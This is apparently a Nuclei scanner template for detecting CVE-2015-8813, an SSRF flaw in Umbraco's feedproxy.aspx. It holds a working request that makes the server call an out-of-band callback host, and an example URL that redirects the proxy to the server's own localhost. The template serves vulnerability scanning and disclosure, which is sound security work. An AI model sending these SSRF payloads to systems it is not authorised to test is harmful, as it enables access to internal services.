id: CVE-2015-8813 info: name: Umbraco SSRF Vulnerability in Feedproxy.aspx author: emadshanab severity: high description: A Server Side Request Forgery (SSRF) vulnerability in Umbraco in Feedproxy.aspx allows attackers to send arbitrary HTTP GET requests.Once you change the URL to the http://local/Umbraco/feedproxy.aspx?url=http://127.0.0.1:80/index, you able to access the localhost application of the server reference: - https://blog.securelayer7.net/umbraco-the-open-source-asp-net-cms-multiple-vulnerabilities/ - https://nvd.nist.gov/vuln/detail/CVE-2015-8813 tags: cve,cve2015,ssrf,oob classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N cvss-score: 8.20 cve-id: CVE-2015-8813 cwe-id: CWE-918 requests: - method: GET path: - "{{BaseURL}}/Umbraco/feedproxy.aspx?url=http://{{interactsh-url}}" matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http"